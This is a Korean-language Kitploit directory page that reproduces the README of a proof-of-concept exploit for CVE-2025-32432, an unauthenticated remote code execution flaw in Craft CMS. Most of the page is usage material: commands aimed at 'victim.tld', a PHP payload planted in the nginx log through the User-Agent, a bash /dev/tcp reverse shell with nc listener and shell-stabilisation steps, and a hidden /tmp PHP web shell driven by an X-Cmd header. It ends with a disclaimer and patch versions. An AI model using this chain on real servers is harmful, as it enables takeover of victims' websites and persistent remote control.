Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-32432 — CVE-2025-32432에 대한 동작 PoC - Yii2 PhpManager 가젯 + nginx access.log 포이즈닝을 통한 Craft CMS <= 5.6.16 비인증 RCE | Kitploit
도구/GitHubGitHub/cd-ratel/cve-2025-32432
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationPayload Development
GitHubcd-ratel/cve-2025-32432

CVE-2025-32432

CVE-2025-32432에 대한 동작 PoC - Yii2 PhpManager 가젯 + nginx access.log 포이즈닝을 통한 Craft CMS <= 5.6.16 비인증 RCE

저장소 보기
2143개월 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-32432 - Craft CMS 무인증 RCE PoC

CVE-2025-32432에 대한 동작하는 개념 증명(PoC)으로, Craft CMS 5.6.16 이하 버전에 영향을 주는 무인증 원격 코드 실행(RCE) 취약점입니다 (동등한 코드 경로의 4.x 및 3.x 트리에도 영향을 줍니다).

검색 키워드: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit, Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior, nginx log poisoning Craft, unauth RCE craftcms 2025.


TL;DR

root@kitploit:~
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'

기본 모드는 vanilla Craft CMS 설치를 대상으로 합니다. --lab 플래그는 hacklab-platform 프로젝트의 carangueijada-20 챌린지를 위해 포함되어 있으며, 해당 챌린지는 Craft를 사용자 정의 세션 쿠키 뒤에서 보호합니다.


취약점

영향받는 구성 요소: craft\controllers\AssetsController::actionGenerateTransform.

이 액션은 allowAnonymous로 등록되어 있어 인증이 필요하지 않습니다. POST 매개변수 handle을 받아 이를 Craft::createObject() 호출에 전개(spread) 합니다:

root@kitploit:~
$transform = Craft::createObject([
    'class' => ImageTransform::class,
    ...$handle,
]);

공격자가 제어하는 $handle이 연관 배열인 경우, 전개는 생성자 구성에 임의의 키를 주입합니다. 특히 as 로 시작하는 키는 yii\base\Component::__set에 의해 동작(behavior) 첨부로 해석되며, 타입 검사가 이루어지기 전에 값에 대해 Yii::createObject($config)를 호출합니다:

root@kitploit:~
elseif (strncmp($name, 'as ', 3) === 0) {
    $name = trim(substr($name, 3));
    $this->attachBehavior(
        $name,
        $value instanceof Behavior ? $value : Yii::createObject($value),
    );
    return;
}

Yii2 2.0.50의 수정은 이 분기를 보호하는 is_subclass_of($value['class'], Behavior::class) 검사를 추가했습니다. 취약한 설치 환경(Yii2 <= 2.0.49, 또는 이전 패치로 검사가 제거된 환경)은 이 보호를 완전히 건너뜁니다.

가젯(Gadget): yii\rbac\PhpManager

PhpManager는 Yii2의 기본 클래스입니다. init()은 load()를 호출하고, load()는 loadFromFile($this->itemFile)을 호출합니다. loadFromFile은 문자 그대로 다음과 같습니다:

root@kitploit:~
protected function loadFromFile($file)
{
    if (is_file($file)) {
        return require $file;
    }
    return [];
}

require는 디스크의 모든 파일을 PHP로 파싱합니다. 파일에 <?php ... ?> 블록이 포함되어 있으면 해당 블록이 워커에서 실행됩니다. itemFile을 공격자가 내용을 제어하는 파일로 지정하면 완전한 RCE가 달성됩니다.

싱크(Sink): nginx access.log

설치 환경을 가리지 않고 신뢰할 수 있는 싱크는 nginx 결합 형식(combined format)의 access.log입니다. 이 로그는 요청의 User-Agent를 비출력 문자와 대부분의 문장 부호를 포함하여 있는 그대로 기록합니다. 공격자는 User-Agent가 <?php system('id'); exit; ?>인 요청을 보내 알려진 경로에 PHP 블록을 심습니다. 그런 다음 itemFile을 /var/log/nginx/access.log로 지정하면 require가 로그를 파싱하여 모든 <?php ... ?> 블록을 순서대로 실행합니다.

두 가지 세부 사항이 중요합니다:

  1. 페이로드에 큰따옴표를 사용하지 마십시오. nginx는 결합 형식에서 "를 \x22로 이스케이프하며, 이로 인해 해당 줄의 PHP 파싱이 깨집니다. 작은따옴표 또는 chr() 연결을 사용하세요.
  2. 끝에 exit;을 추가하여 require가 다른 잘못된 페이로드를 포함할 수 있는 이후 로그 줄을 파싱하기 전에 중단되도록 하십시오.

영향받는 버전

구성 요소취약 버전패치 버전
Craft CMS<= 5.6.165.6.17
Craft CMS<= 4.15.24.15.3
Craft CMS<= 3.9.143.9.15
Yii2<= 2.0.492.0.50

Craft 5.6.17은 변환기(transformer) 클래스에 ImageTransformerInterface 검사를 추가합니다. Yii2 2.0.50은 Component::__set에 Behavior 하위 클래스 검사를 추가합니다. 두 수정 중 하나만으로도 이 정확한 가젯 체인을 차단합니다.


요구 사항

  • Python 3.8+
  • requests 라이브러리 (pip install -r requirements.txt)
  • 대상 HTTP(S) 엔드포인트에 대한 네트워크 연결 가능
  • 대상에서 유효한 Craft assetId. 기본값은 2이며, 필요한 경우 -a <id>로 재정의합니다 (asset id 1은 보통 관리자 아바타입니다).

사용법

vanilla Craft CMS

root@kitploit:~
python3 exploit.py -u http://victim.tld -c 'id'

경로 접두사 아래에 마운트된 Craft

root@kitploit:~
python3 exploit.py -u http://victim.tld -p /cms -c 'id'

사용자 정의 asset ID

root@kitploit:~
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'

사용자 정의 itemFile (다른 로그 경로, FPM 세션 등)

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /var/log/apache2/access.log \
                   -c 'id'

랩 모드 (carangueijada-20 챌린지)

hacklab-platform의 carangueijada-20 랩은 PATCH /login이 발급하는 coopsess 쿠키 뒤에서 Craft 설치를 보호합니다. --lab 플래그가 이 핸드셰이크를 자동으로 처리합니다.

root@kitploit:~
python3 exploit.py --lab \
                   -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
                   -c 'id; uname -a'

www.carangueijada.coop이 랩 IP로 해석되는지 확인하십시오 (필요 시 /etc/hosts에 추가).

리버스 셸

--revshell 플래그는 bash -i >& /dev/tcp/<lhost>/<lport> 0>&1 커넥트백을 실행하며, 가젯 POST가 즉시 반환되도록 백그라운드로 실행됩니다.

2-터미널 방식 (가장 안정적):

root@kitploit:~
# 터미널 1 - 사용자 머신에서 리스너 실행
nc -lvnp 4444

# 터미널 2 - 익스플로잇 실행
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444

내장 리스너를 사용한 1-터미널 방식:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   --revshell --lhost 1.2.3.4 --lport 4444 \
                   --auto-listen

--auto-listen은 페이로드를 발사하기 전에 같은 터미널에서 nc -lvnp <lport>를 실행합니다. 작업이 끝나면 Ctrl+C로 종료합니다.

샘플 세션 (랩):

root@kitploit:~
$ python3 exploit.py --lab \
    -u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
    --revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*]     coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*]     HTTP 200
[*] Reverse shell fired.

# 리스너에서:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$

셸 안정화 (연결 후 리버스 셸 내부에서 실행):

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z로 nc를 백그라운드로 전환
stty raw -echo; fg
# Enter 두 번 입력
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200

멱등성(idempotency) 작동 방식

첫 실행에서 익스플로잇은 access.log를 한 번 오염시켜 /tmp/.cve32432_w.php에 숨겨진 PHP 래퍼를 생성합니다. 래퍼는 X-Cmd HTTP 헤더를 읽고 system($_SERVER['HTTP_X_CMD'])를 실행합니다. 이후의 모든 전달은 itemFile을 래퍼 파일로 지정하고 헤더를 통해 명령을 전달합니다. 더 이상 로그 중독(poisoning)도, 로그 폴리루션도, "첫 <?php exit; 블록이 이긴다"는 실패도 없습니다.

재생성을 강제하려면 대상에서 /tmp/.cve32432_w.php를 삭제하십시오 (래퍼 자체를 통해 수행할 수 있습니다: --cmd 'rm /tmp/.cve32432_w.php').


샘플 출력

새 대상에 대한 성공적인 실행:

root@kitploit:~
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*]     CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*]     poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*]     HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux

오염된 로그 폴백 (대상이 이전에 이미 익스플로잇된 적이 있어 이전 페이로드가 먼저 종료되는 경우):

root@kitploit:~
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)

체인이 실제로 발화되는 과정

  1. POST /actions/assets/generate-transform이 AssetsController::actionGenerateTransform에 도달합니다.
  2. 핸들러가 $config = ['class' => ImageTransform::class, ...$handle]를 구성합니다. 우리의 handle[as gadget]은 전개 과정에서 살아남습니다.
  3. Craft::createObject($config)는 Yii::$container->get(ImageTransform::class, [], $config)를 호출하며, 이는 ImageTransform을 인스턴스화하고 남은 각 구성 키를 $transform->{$key} = $value로 기록합니다.
  4. 파서가 as gadget에 도달하면 Component::__set이 as 접두사를 매칭하여 Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log'])를 호출합니다.
  5. Yii::createObject는 PhpManager를 생성하고 __construct()를 실행한 다음 init()을 실행합니다.
  6. PhpManager::init() -> load() -> loadFromFile($this->itemFile) -> require '/var/log/nginx/access.log'.
  7. PHP가 로그 파일을 파싱합니다. PHP가 아닌 텍스트는 stdout으로 출력되며(HTTP 응답 본문에 포함됨), <?php ... ?> 블록은 워커에서 실행됩니다.
  8. 우리가 심은 페이로드가 system($cmd)와 exit;을 실행합니다. 출력은 <?php 블록이 텍스트상 위치했던 응답 본문에 나타납니다.

문제 해결

증상원인해결 방법
HTTP 400 + "could not verify your data submission" / "Pedido invalido"CSRF 토큰이 POST에 사용된 쿠키에 바인딩되지 않음스크립트는 단일 requests.Session을 사용합니다. 직접 재구현하는 경우, 쿠키 jar가 session-info와 POST 사이에서 CRAFT_CSRF_TOKEN을 유지하는지 확인하세요.
HTTP 403 on /actions/...경로 접두사 또는 vhost가 잘못됨-p /prefix를 사용하여 Craft가 마운트된 위치와 일치시키고 Host 헤더가 설치와 일치하는지 확인하세요.
csrfTokenValue 비어 있음 / session-info가 HTML을 반환잘못된 Accept 헤더스크립트는 이미 Accept: application/json을 전송합니다. 패치로 제거했다면 복원하세요.
출력에 명령 결과가 표시되지 않음access.log에 먼저 실행되는 이전 <?php ... exit; ?> 페이로드가 이미 존재대상에서 로그를 로테이션/잘라내기하세요. id 수준의 RCE만 있다면 다음 logrotate를 기다리거나, 쓰기 가능한 PHP 파일(예: system($_SERVER['HTTP_X_CMD']);가 포함된 /tmp/wrapper.php)로 피벗한 뒤 이후 itemFile로 사용하세요.
assetId not found해당 설치에 잘못된 ID공개 asset URL을 탐색하여 ID를 열거하거나 -a 1을 먼저 시도한 뒤 -a 3..N을 시도하세요.
패치된 대상Craft >= 5.6.17 또는 Yii2 >= 2.0.50체인이 차단되었습니다. 다른 취약한 클래스를 찾거나 넘어가세요.
페이로드가 PHP 치명적 오류(fatal)를 유발함이전 로그 항목에 잘못된 PHP가 포함되어 블록 이전에 파서를 깨뜨림오염된 로그 해결 방법과 동일: 로그를 로테이션하세요.

오염된 로그 우회(workaround) 방법 (관리자 접근 권한 없음)

id만 안정적으로 실행할 수 있는 경우(이전 exit; 오염이 체인을 고정했기 때문에), 실행 가능한 피벗 방법 하나는 그 단일 id 수준의 명령으로 사용자가 제어하는 경로에 PHP 래퍼를 쓰게 만든 뒤, 이후 모든 요청에서 itemFile을 해당 경로로 변경하는 것입니다:

root@kitploit:~
# /tmp/w.php를 www-data 권한으로 떨어뜨리는 명령으로 1회성 오염(poison) 수행
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# CMD를 chr()로 인코딩 ...

그런 다음 실행:

root@kitploit:~
python3 exploit.py -u http://victim.tld \
                   -i /tmp/w.php \
                   -c 'whoami'

이후의 모든 전달은 /tmp/w.php(페이로드 앞에 아무것도 없는 깨끗한 PHP 파일)를 읽고 X-Cmd 헤더의 명령을 실행합니다. 이 기능을 내장 모드로 원한다면 스크립트를 수정하세요.


파일

root@kitploit:~
.
├── exploit.py        # PoC
├── README.md         # 이 파일
├── requirements.txt  # Python 의존성 (`requests`만)
└── LICENSE           # MIT

참고 자료

  • Craft CMS 지식 베이스 항목: https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432
  • GitHub Security Advisory (GHSA-f3gw-9ww9-jmc3): https://github.com/craftcms/cms/security/advisories/GHSA-f3gw-9ww9-jmc3
  • SensePost 실전(in-the-wild) 캠페인 분석: https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-32432
  • Yii2 Component.php (취약한 리비전): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.php
  • Yii2 수정 (2.0.50): https://github.com/yiisoft/yii2/pull/19938
  • Craft CMS 5.6.17 수정 커밋: https://github.com/craftcms/cms/commit (2025-04-09 경 "ImageTransformerInterface" 검색)
  • OWASP 로그 인젝션: https://owasp.org/www-community/attacks/Log_Injection
  • nginx 로그를 통한 HackTricks LFI-to-RCE: https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-nginx-log

면책 조항

이 개념 증명(PoC)은 방어 연구, 교육 목적, 그리고 승인된 침투 테스트만을 위해 공개되었습니다. 소유하지 않았거나 서면 승인 없이 테스트하는 시스템에 이를 실행하는 것은 대부분의 관할권에서 불법입니다. 작성자는 오용에 대한 어떠한 책임도 지지 않습니다.

Craft CMS 설치를 운영 중이라면 5.6.17 이상으로 업그레이드하십시오 (또는 해당 4.x / 3.x 패치 릴리스). 이 취약점은 사소하게 익스플로잇할 수 있으며 SensePost가 문서화한 실전 캠페인에서 사용되었습니다.

라이선스

MIT. LICENSE 참조.

도구 다운로드